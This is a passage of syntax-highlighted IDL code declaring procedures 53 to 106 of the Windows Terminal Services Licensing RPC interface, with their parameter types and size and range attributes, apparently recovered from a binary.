arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_3,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc53_TLSRpcReturnInternetLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_1)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc54_TLSRpcRequestNewLicenseEx</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_4,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_5,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_6,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_6)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_7,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_8,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_9,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_10,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_11,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_12)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc55_TLSRpcUpgradeLicenseEx</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_3,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_4,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_4)]<span class="comment">/*[range(0,0)]*/</span> byte* arg_5,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_6,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_6)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_7,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_8,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_9,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_10,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_11)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc56_TLSRpcMarkLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span> arg_1,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_2)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_3,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc57_TLSRpcCheckLicenseMark</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_1)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">char</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc58_TLSRpcGetSupportFlags</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc59_TLSRpcRequestNewLicenseExEx</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_4,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_5,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_6,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_6)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_7,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_8,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_9,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_10,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_11,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_12,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_13)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc60_TLSRpcGetServerNameEx</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out][<span class="built_in">string</span>]<span class="comment">/*[range(0,256)]*/</span>  <span class="type">wchar_t</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,256)] */</span><span class="type">long</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc61_TLSRpcLicenseEnumNextEx</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc62_TLSRpcGenerateCustomerCert</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in] <span class="comment">/* [DBG] FC_BOGUS_ARRAY */</span>[size_is(arg_2)]<span class="comment">/*[range(0,0)]*/</span>  <span class="comment">/*  */</span> <span class="type">char</span> arg_3[],</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_4,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_5,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_6)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc63_TLSRpcGetServerNameFixed</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out][ref][<span class="built_in">string</span>] <span class="type">wchar_t</span>** arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc64_TLSRpcGetServerScopeFixed</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out][ref][<span class="built_in">string</span>] <span class="type">wchar_t</span>** arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc65_TLSRpcGetLastErrorFixed</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out][ref][<span class="built_in">string</span>] <span class="type">wchar_t</span>** arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc66_TLSRpcLookupServerFixed</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out][ref][<span class="built_in">string</span>] <span class="type">wchar_t</span>** arg_2,</span></span><br><span class="line"><span class="params">        [out][ref][<span class="built_in">string</span>] <span class="type">wchar_t</span>** arg_3,</span></span><br><span class="line"><span class="params">        [out][ref][<span class="built_in">string</span>] <span class="type">wchar_t</span>** arg_4,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_5)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc67_TLSRpcTriggerReGenKeyNoWarning</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc68_TLSRpcIssuePerUserLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_4,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_5,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_6)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc69_TLSRpcReportEnumBegin</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc70_TLSRpcReportEnumNext</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc71_TLSRpcReportEnumEnd</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc72_TLSRpcFetchReportBegin</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc73_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,16384)] */</span><span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="comment">/*[range(0,16384)]*/</span> <span class="type">char</span> *arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc74_TLSRpcFetchReportEnd</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc75_TLSRpcReportGenerateBegin</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_3,</span></span><br><span class="line"><span class="params">        [out]<span class="type">char</span>* arg_4,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_5)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc76_TLSRpcReportGenerateCancel</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc77_TLSRpcReportDelete</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc78_TLSRpcIsFreeKeyPackInstalled</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc79_TLSRpcIsServerInDomain</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc80_TLSRpcRevokeLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3,</span></span><br><span class="line"><span class="params">        [out]<span class="type">char</span>* arg_4,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_5)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc81_TLSRpcIsLSPublished</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc82_TLSRpcPublishLS</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc83_TLSRpcUnpublishLS</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc84_TLSRpcChangeRole</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc85_TLSRpcIsGPEnabled</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc86_TLSRpcLocalGroupForGPPresent</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc87_TLSRpcCreateLocalGroupForGP</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc88_TLSRpcRemoveLocalGroupForGP</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc89_TLSRpcCanLSUpdateAD</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc90_TLSRpcAddLStoTSLSofDC</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc91_TLSRpcRemoveLSFromTSLSOfAD</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc92_TLSRpcIsLSonDC</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc93_TLSRpcDatabasePath</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out][<span class="built_in">string</span>]<span class="comment">/*[range(0,512)]*/</span>  <span class="type">wchar_t</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,512)] */</span><span class="type">long</span>* arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc94_TLSRpcIsUserAdmin</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc95_TLSRpcIsPreventUpgGPEnabled</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc96_TLSRpcUpgradeLicenseWithMarkExEx</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_3,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_4,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_4)]<span class="comment">/*[range(0,0)]*/</span> byte* arg_5,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_6,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_6)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_7,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_8,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_9,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_10,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_11,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_12)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc97_TLSRpcRegisterToSCP</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc98_TLSRpcUnRegisterFromSCP</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc99_TLSRpcIsSCPRegistered</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc100_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,16384)] */</span><span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="comment">/*[range(0,16384)]*/</span> <span class="type">char</span> * arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc101_TLSRpcRegisterLicenseKeyPackEx</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_2)]<span class="comment">/*[range(0,0)]*/</span> byte* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_4)]<span class="comment">/*[range(0,0)]*/</span> byte* arg_3,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_4,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_6)]<span class="comment">/*[range(0,0)]*/</span> byte* arg_5,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_6,</span></span><br><span class="line"><span class="params">        [out]<span class="type">char</span>* arg_7,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_8)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc102_TLSRpcTelephoneRegisterLKPEx</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_1)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">char</span>* arg_3,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc103_TLSRpcUnRegisterLicenses</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc104_TLSRpcGetOSVersion</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc105_TLSRpcLogEvent</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc106_TLSRpcUpgradeLicenseV4</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_3,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_4,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_4)]<span class="comment">/*[range(0,0)]*/</span> byte* arg_5,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_6,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_6)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_7,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_8,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_9,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_10,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_11,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>][size_is(<span class="number">33</span>)]<span class="comment">/*[range(0,0)]*/</span>  <span class="type">wchar_t</span>* arg_12,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* 